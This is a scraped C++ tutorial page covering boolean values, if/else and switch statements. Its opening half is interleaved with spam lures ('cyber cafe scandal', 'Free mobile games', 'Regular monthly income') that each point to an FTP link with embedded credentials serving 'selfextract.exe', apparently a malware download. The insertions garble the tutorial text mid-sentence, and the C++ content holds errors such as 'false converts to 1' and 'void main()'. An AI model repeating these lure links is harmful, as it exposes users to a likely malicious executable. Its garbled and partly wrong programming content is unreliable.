You are on page 1of 8

unstream Video of Nayanthara and Simbu ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/s elfextract.

exe

5.True and False in C++


Many C stream Video of Nayanthara and Simbu ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe unFree mobile games ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

action is to be taken. A conditional expression evaluates to either a true or a false Free mobile games ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe unstream Video of Nayanthara and Simbu ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

false value is 0.This approach to true and flase allows a widerange of stream Video of Nayanthara and Simbu ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe unNse going to crash for more ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

C++ fully supports the Zero/non-Zero definition of true and false Nse going to crash for more ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract. exe

unRegular monthly income by wearing your shorts at the comfort of your home for more info ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract. exe

bool,which can have only the values true and false. if an Regular monthly income by wearing your shorts at the comfort of your home for more info ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextr act.exe uncyber cafe scandal visit ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextr act.exe

to false and a non-zero value is automatically cyber cafe scandal visit ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/ selfextract.exe

unNse going to crash for more ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/ selfextract.exe

converts to 1 and false converts to 1

Nse going to crash for more ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/s elfextract.exe unLatest video shot of infosys girl ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/s elfextract.exe

6.Selection Statements
C++ su Latest video shot of infosys girl ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

unFree mobile games ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

If statement Free mobile games ftp://tlpoeil:yahoogoogle@ftp.members.lycos.co.uk/selfextract.exe

7.if , if...else,if...else if...else in C++


Syntax:

if statement if(condition) { statements;

if...else statement if(condition) { statements;

if...else if...else statement if(condition) { statements; } else if {

} } else { statements; }

statements; } else { statements; }

Example:1 /*Example for if and if...else statement*/ void main() { int a,b; a=5;< /FONT> b=10;< /FONT> if ( a > b) cout<<"A is greater"; else cout<<"B is greater"; } Example:2 /*Example for if and if...else statement*/ void main() { int a,b,c;

a=5; b=10; c=15; if ( a > b && a > c) cout<<"A is greater"; else if(b > c) cout<<"B is greater"; else cout<<"C is greater"; }

Example:3 /*Example for Nested if statement*/ void main() { int a,b,c; a=5; b=10; c=15; if ( a > b) { if(a > c)

cout<<"A is greater"; } else if( b > c) cout<<"B is greater"; else cout<<"C is greater"; }

8.switch..case() Statements:
C++ has a built-in multiple-branch selection statement, called switch,which successively tests the value of an expression against a list of integer or charecter constants.When a match is found,the statements associated with that consatnt are executed. Syntax: switch ( expression ) { case constant1: statements; break; case constant2: statements; break; case constant3: statements; break;

default: statements; } In the above syntax the expression must evaluvate to a charecter or integer value. Note:Floating-Point expressions are not allowed. The value of expression is tested in order against the values of the constants specified in the case statements. When a match is found, the statements sequence associated with that case is executed until the break statement or the end of the switch statement is reached. The default statement is executed if no matches are found. The default is optional and if it is not present, no action takes place if all matches fail. Standard C specifies that a switch can have at lease 257 case statements. Standard C++ recommends that at least 16,384 case statements be supported! In Practice, you will want to limit the number of case statements to a smaller amount for efficiency. Although case is a label statement, it cannot exist by itself, outside of a switch. The break statement is one of C/C++'s jump statements. You can use it in loops as well as in the switch statement. When break is encountered in a switch, program execution "jumps" to the line of code following the switch statement. There are three important things to know about the switch statement:

The switch differs from the if in that switch can only test for equality, whereas if can evaluate any type of relational or logical expression. No two constants in the same switch can have identical values. Of course, a switch statement enclosed by an outer switch may have case constants that are the same. If charecter constants are used in the switch statement, they are automatically converted in to integers. switch is often used to process keyboard commands, such as menu selection.

Example:3 void menu(void) { char ch; cout<<"1.Check Spelling\n";

cout<<"2.Correct Spelling Errors\n"; cout<<"3.Display Spelling Errors\n"; cout<<"Strike Any Other Key to Skip\n"; cout<<" Enter your choice: "; ch=getchar();< /FONT> switch(ch) { case '1': check_spelling(); break; case '2': correct_errors(); break; case '3': display_errors(); break; default: cout<<"No option selected"; } }

You might also like